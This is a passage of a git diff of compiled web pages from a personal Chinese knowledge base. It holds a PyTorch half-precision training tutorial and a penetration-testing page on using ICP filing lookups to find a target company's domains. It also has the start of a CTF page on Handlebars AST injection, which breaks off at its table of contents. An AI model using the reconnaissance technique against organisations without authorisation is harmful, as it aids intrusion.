\u534a\u7cbe\u5ea6\u8bad\u7ec3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"},"next":{"title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"}}');var r=t(74848),l=t(28453);const c={},i="6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md",d={},h=[{value:"6.4.1 \u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",id:"641-\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",level:2}];function o(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"64-\u534a\u7cbe\u5ea6\u8bad\u7ec3md",children:"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"64-\u534a\u7cbe\u5ea6\u8bad\u7ec3",children:"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u63d0\u5230PyTorch\u65f6\u5019\uff0c\u603b\u4f1a\u60f3\u5230\u8981\u7528\u786c\u4ef6\u8bbe\u5907GPU\u7684\u652f\u6301\u3002\u800cGPU\u7684\u6027\u80fd\u4e3b\u8981\u5206\u4e3a\u4e24\u90e8\u5206\uff1a\u7b97\u529b\u548c\u663e\u5b58\uff0c\u524d\u8005\u51b3\u5b9a\u4e86\u663e\u5361\u8ba1\u7b97\u7684\u901f\u5ea6\uff0c\u540e\u8005\u5219\u51b3\u5b9a\u4e86\u663e\u5361\u53ef\u4ee5\u540c\u65f6\u653e\u5165\u591a\u5c11\u6570\u636e\u7528\u4e8e\u8ba1\u7b97\u3002\u5728\u53ef\u4ee5\u4f7f\u7528\u7684\u663e\u5b58\u6570\u91cf\u4e00\u5b9a\u7684\u60c5\u51b5\u4e0b\uff0c\u6bcf\u6b21\u8bad\u7ec3\u80fd\u591f\u52a0\u8f7d\u7684\u6570\u636e\u66f4\u591a\uff08\u4e5f\u5c31\u662fbatch size\u66f4\u5927\uff09\uff0c\u5219\u4e5f\u53ef\u4ee5\u63d0\u9ad8\u8bad\u7ec3\u6548\u7387\u3002\u53e6\u5916\uff0c\u6709\u65f6\u5019\u6570\u636e\u672c\u8eab\u4e5f\u6bd4\u8f83\u5927\uff08\u6bd4\u59823D\u56fe\u50cf\u3001\u89c6\u9891\u7b49\uff09\uff0c\u663e\u5b58\u8f83\u5c0f\u7684\u60c5\u51b5\u4e0b\u53ef\u80fd\u751a\u81f3batch size\u4e3a1\u7684\u60c5\u51b5\u90fd\u65e0\u6cd5\u5b9e\u73b0\u3002\u56e0\u6b64\uff0c\u5408\u7406\u4f7f\u7528\u663e\u5b58\u4e5f\u5c31\u663e\u5f97\u5341\u5206\u91cd\u8981\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u89c2\u5bdfPyTorch\u9ed8\u8ba4\u7684\u6d6e\u70b9\u6570\u5b58\u50a8\u65b9\u5f0f\u7528\u7684\u662f",(0,r.jsx)(n.code,{children:"torch.float32"}),"\uff0c\u5c0f\u6570\u70b9\u540e\u4f4d\u6570\u66f4\u591a\u56fa\u7136\u80fd\u4fdd\u8bc1\u6570\u636e\u7684\u7cbe\u786e\u6027\uff0c\u4f46\u7edd\u5927\u591a\u6570\u573a\u666f\u5176\u5b9e\u5e76\u4e0d\u9700\u8981\u8fd9\u4e48\u7cbe\u786e\uff0c\u53ea\u4fdd\u7559\u4e00\u534a\u7684\u4fe1\u606f\u4e5f\u4e0d\u4f1a\u5f71\u54cd\u7ed3\u679c\uff0c\u4e5f\u5c31\u662f\u4f7f\u7528",(0,r.jsx)(n.code,{children:"torch.float16"}),"\u683c\u5f0f\u3002\u7531\u4e8e\u6570\u4f4d\u51cf\u4e86\u4e00\u534a\uff0c\u56e0\u6b64\u88ab\u79f0\u4e3a\u201c\u534a\u7cbe\u5ea6\u201d\uff0c\u5177\u4f53\u5982\u4e0b\u56fe\uff1a"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"amp",src:t(54367).A+"",width:"851",height:"361"})}),"\n",(0,r.jsx)(n.p,{children:"\u663e\u7136\u534a\u7cbe\u5ea6\u80fd\u591f\u51cf\u5c11\u663e\u5b58\u5360\u7528\uff0c\u4f7f\u5f97\u663e\u5361\u53ef\u4ee5\u540c\u65f6\u52a0\u8f7d\u66f4\u591a\u6570\u636e\u8fdb\u884c\u8ba1\u7b97\u3002\u672c\u8282\u4f1a\u4ecb\u7ecd\u5982\u4f55\u5728PyTorch\u4e2d\u8bbe\u7f6e\u4f7f\u7528\u534a\u7cbe\u5ea6\u8ba1\u7b97\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"\u5982\u4f55\u5728PyTorch\u4e2d\u8bbe\u7f6e\u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,r.jsx)(n.li,{children:"\u4f7f\u7528\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u6ce8\u610f\u4e8b\u9879"}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"641-\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",children:"6.4.1 \u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e"}),"\n",(0,r.jsx)(n.p,{children:"\u5728PyTorch\u4e2d\u4f7f\u7528autocast\u914d\u7f6e\u534a\u7cbe\u5ea6\u8bad\u7ec3\uff0c\u540c\u65f6\u9700\u8981\u5728\u4e0b\u9762\u4e09\u5904\u52a0\u4ee5\u8bbe\u7f6e\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"import autocast"})}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"from torch.cuda.amp import autocast\n"})}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"\u6a21\u578b\u8bbe\u7f6e"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u6a21\u578b\u5b9a\u4e49\u4e2d\uff0c\u4f7f\u7528python\u7684\u88c5\u9970\u5668\u65b9\u6cd5\uff0c\u7528autocast\u88c5\u9970\u6a21\u578b\u4e2d\u7684forward\u51fd\u6570\u3002\u5173\u4e8e\u88c5\u9970\u5668\u7684\u4f7f\u7528\uff0c\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://www.cnblogs.com/jfdwd/p/11253925.html",children:"\u8fd9\u91cc"}),"\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"@autocast() \ndef forward(self, x):\n ...\n return x\n"})}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"\u8bad\u7ec3\u8fc7\u7a0b"})}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u53ea\u9700\u5728\u5c06\u6570\u636e\u8f93\u5165\u6a21\u578b\u53ca\u5176\u4e4b\u540e\u7684\u90e8\u5206\u653e\u5165\u201cwith autocast():\u201c\u5373\u53ef\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:" for x in train_loader:\n\tx = x.cuda()\n\twith autocast():\n output = model(x)\n ...\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,r.jsx)(n.p,{children:"\u534a\u7cbe\u5ea6\u8bad\u7ec3\u4e3b\u8981\u9002\u7528\u4e8e\u6570\u636e\u672c\u8eab\u7684size\u6bd4\u8f83\u5927\uff08\u6bd4\u5982\u8bf43D\u56fe\u50cf\u3001\u89c6\u9891\u7b49\uff09\u3002\u5f53\u6570\u636e\u672c\u8eab\u7684size\u5e76\u4e0d\u5927\u65f6\uff08\u6bd4\u5982\u624b\u5199\u6570\u5b57MNIST\u6570\u636e\u96c6\u7684\u56fe\u7247\u5c3a\u5bf8\u53ea\u670928*28\uff09\uff0c\u4f7f\u7528\u534a\u7cbe\u5ea6\u8bad\u7ec3\u5219\u53ef\u80fd\u4e0d\u4f1a\u5e26\u6765\u663e\u8457\u7684\u63d0\u5347\u3002"})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/537ed264.55519021.js b/en/assets/js/537ed264.55519021.js new file mode 100644 index 0000000..c258111 --- /dev/null +++ b/en/assets/js/537ed264.55519021.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1083],{28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>c});var s=t(96540);const i={},l=s.createContext(i);function r(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),s.createElement(l.Provider,{value:n},e.children)}},90551:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>r,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","title":"ICP\u5907\u6848\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/01.ICP\u5907\u6848\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/01.ICP\u5907\u6848\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4e3b\u57df\u540d\u6536\u96c6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"},"next":{"title":"\u8bc1\u4e66\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2"}}');var i=t(74848),l=t(28453);const r={},c=void 0,d={},h=[{value:"\u6709\u4f55\u4f5c\u7528",id:"\u6709\u4f55\u4f5c\u7528",level:2},{value:"\u5982\u4f55\u67e5\u8be2",id:"\u5982\u4f55\u67e5\u8be2",level:2},{value:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",id:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function o(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,i.jsx)(n.p,{children:"ICP\u5907\u6848\u662f\u6307\u7f51\u7ad9\u5728\u4fe1\u606f\u4ea7\u4e1a\u90e8\u63d0\u4ea4\u7f51\u7ad9\u4fe1\u606f\u8fdb\u884c\u5b98\u65b9\u8ba4\u53ef\u3002\u5bf9\u56fd\u5185\u5404\u5927\u5c0f\u7f51\u7ad9(\u5305\u62ec\u4f01\u4e1a\u53ca\u4e2a\u4eba\u7ad9\u70b9)\u7684\u4e25\u683c\u5ba1\u67e5\u5de5\u4f5c\uff0c\u5bf9\u4e8e\u6ca1\u6709\u5408\u6cd5\u5907\u6848\u7684\u975e\u7ecf\u8425\u6027\u7f51\u7ad9\u6216\u6ca1\u6709\u53d6\u5f97ICP\u8bb8\u53ef\u8bc1\u7684\u7ecf\u8425\u6027\u7f51\u7ad9\uff0c\u6839\u636e\u7f51\u7ad9\u6027\u8d28\uff0c\u5c06\u4e88\u4ee5\u7f5a\u6b3e\uff0c\u4e25\u91cd\u7684\u5173\u95ed\u7f51\u7ad9\uff0c\u4ee5\u6b64\u89c4\u8303\u7f51\u7edc\u5b89\u5168\uff0c\u6253\u51fb\u4e00\u5207\u5229\u7528\u7f51\u7edc\u8d44\u6e90\u8fdb\u884c\u4e0d\u6cd5\u6d3b\u52a8\u7684\u72af\u7f6a\u884c\u4e3a\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ea\u8981\u662f\u76c8\u5229\u4e3a\u76ee\u7684\u7684\u7f51\u7ad9\uff0c\u90fd\u8981\u8fdb\u884cICP\u5907\u6848\uff0c\u5426\u5219\u4f1a\u53d7\u5230\u76f8\u5e94\u7684\u5904\u7f5a\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u56fd\u5185\u4f7f\u7528\u56fd\u5185\u670d\u52a1\u5668\u7684\u7f51\u7ad9\uff0c\u90fd\u5fc5\u987b\u8981\u5148\u529e\u7406ICP\u5907\u6848\u540e\u624d\u53ef\u4ee5\u4e0a\u7ebf\u3002"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6709\u4f55\u4f5c\u7528",children:"\u6709\u4f55\u4f5c\u7528"}),"\n",(0,i.jsx)(n.p,{children:"\u901a\u8fc7\u67e5\u8be2\u76ee\u6807\u4f01\u4e1a\u7684\u5907\u6848\u4fe1\u606f\uff0c\u53ef\u76f4\u63a5\u83b7\u53d6\u5230\u76ee\u6807\u4f01\u4e1a\u6ce8\u518c\u4e86\u54ea\u4e9b\u57df\u540d\uff0c\u4ece\u800c\u589e\u52a0\u53ef\u6e17\u900f\u7684\u76ee\u6807\u8303\u56f4\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u5982\u4f55\u67e5\u8be2",children:"\u5982\u4f55\u67e5\u8be2"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"![Tip]"}),"\n",(0,i.jsxs)(n.p,{children:["\u63a8\u8350\u4f7f\u7528\u5b98\u65b9\u7f51\u7ad9",(0,i.jsx)(n.a,{href:"https://beian.miit.gov.cn/#/Integrated/recordQuery",children:"ICP/IP\u5730\u5740/\u57df\u540d\u4fe1\u606f\u5907\u6848\u7ba1\u7406\u7cfb\u7edf"})]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u652f\u6301\u4f7f\u7528",(0,i.jsx)(n.code,{children:"\u5355\u4f4d\u540d\u79f0"}),"\u3001",(0,i.jsx)(n.code,{children:"\u57df\u540d"}),"\u548c",(0,i.jsx)(n.code,{children:"\u5907\u6848\u53f7"}),"\u8fdb\u884c\u67e5\u8be2"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528\u5355\u4f4d\u540d\u79f0\u67e5\u8be2"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640497.jpg",alt:"img"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u57df\u540d\u67e5\u8be2"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u5907\u6848\u53f7\u67e5\u8be2"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640499.jpg",alt:"img"})}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4efb\u610f\u53c2\u6570\u67e5\u8be2\u540e\uff0c\u53ef\u901a\u8fc7\u76f8\u5173\u7684\u4fe1\u606f\u67e5\u8be2\u5176\u4ed6\u76f8\u5173\u7684\u57df\u540d\u8fbe\u5230\u6536\u96c6\u76ee\u6807\u57df\u540d\u7684\u76ee\u7684\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",children:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"http://icp.chinaz.com/",children:"ICP\u5907\u6848\u67e5\u8be2 - \u7ad9\u957f\u5de5\u5177"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.aizhan.com/cha/",children:"\u7ad9\u957fseo\u7efc\u5408\u67e5\u8be2\u5de5\u5177-\u7231\u7ad9\u7f51"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.beianx.cn/",children:"ICP\u5907\u6848\u67e5\u8be2- \u7f51\u7ad9\u5907\u6848\u67e5\u8be2"})}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/01.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.%E8%B5%84%E4%BA%A7%E6%94%B6%E9%9B%86/01.%E4%B8%BB%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86/01.ICP%E5%A4%87%E6%A1%88%E6%9F%A5%E8%AF%A2.html",children:"ICP\u5907\u6848\u67e5\u8be2 \xb7 d4m1ts \u77e5\u8bc6\u5e93"})})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/54bf02cb.3a7e7dfd.js b/en/assets/js/54bf02cb.3a7e7dfd.js new file mode 100644 index 0000000..3b72578 --- /dev/null +++ b/en/assets/js/54bf02cb.3a7e7dfd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2049],{12685:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png"},28453:(e,n,t)=>{t.d(n,{R:()=>o,x:()=>i});var r=t(96540);const s={},a=r.createContext(s);function o(e){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),r.createElement(a.Provider,{value:n},e.children)}},44449:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/image-20251014205208357-b81b6911530bbd8dbf25892fa0f0a8bf.png"},54792:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png"},99801:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","title":"Handlebars-AST\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"},"next":{"title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/"}}');var s=t(74848),a=t(28453);const o={},i="Handlebars AST\u6ce8\u5165 \u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",l={},c=[{value:"\u539f\u7406\u56fe",id:"\u539f\u7406\u56fe",level:2},{value:"Payload",id:"payload",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"\u8c03\u7528\u6808",id:"\u8c03\u7528\u6808",level:3},{value:"\u89e3\u6790\u5165\u53e3",id:"\u89e3\u6790\u5165\u53e3",level:3},{value:"\u89e3\u6790AST",id:"\u89e3\u6790ast",level:3},{value:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",level:3},{value:"\u7f16\u8bd1\u6a21\u677f",id:"\u7f16\u8bd1\u6a21\u677f",level:3},{value:"\u751f\u6210\u6a21\u677f",id:"\u751f\u6210\u6a21\u677f",level:3},{value:"\u6a21\u677f\u51fd\u6570\u6267\u884c",id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",level:3},{value:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u62d3\u5c55",id:"\u62d3\u5c55",level:2},{value:"BooleanLiteral",id:"booleanliteral",level:3},{value:"PartialStatement",id:"partialstatement",level:3},{value:"PartialBlockStatement",id:"partialblockstatement",level:3},{value:"BlockStatement",id:"blockstatement",level:3},{value:"Decorator",id:"decorator",level:3},{value:"inf Hash",id:"inf-hash",level:3},{value:"\u4f8b\u9898",id:"\u4f8b\u9898",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 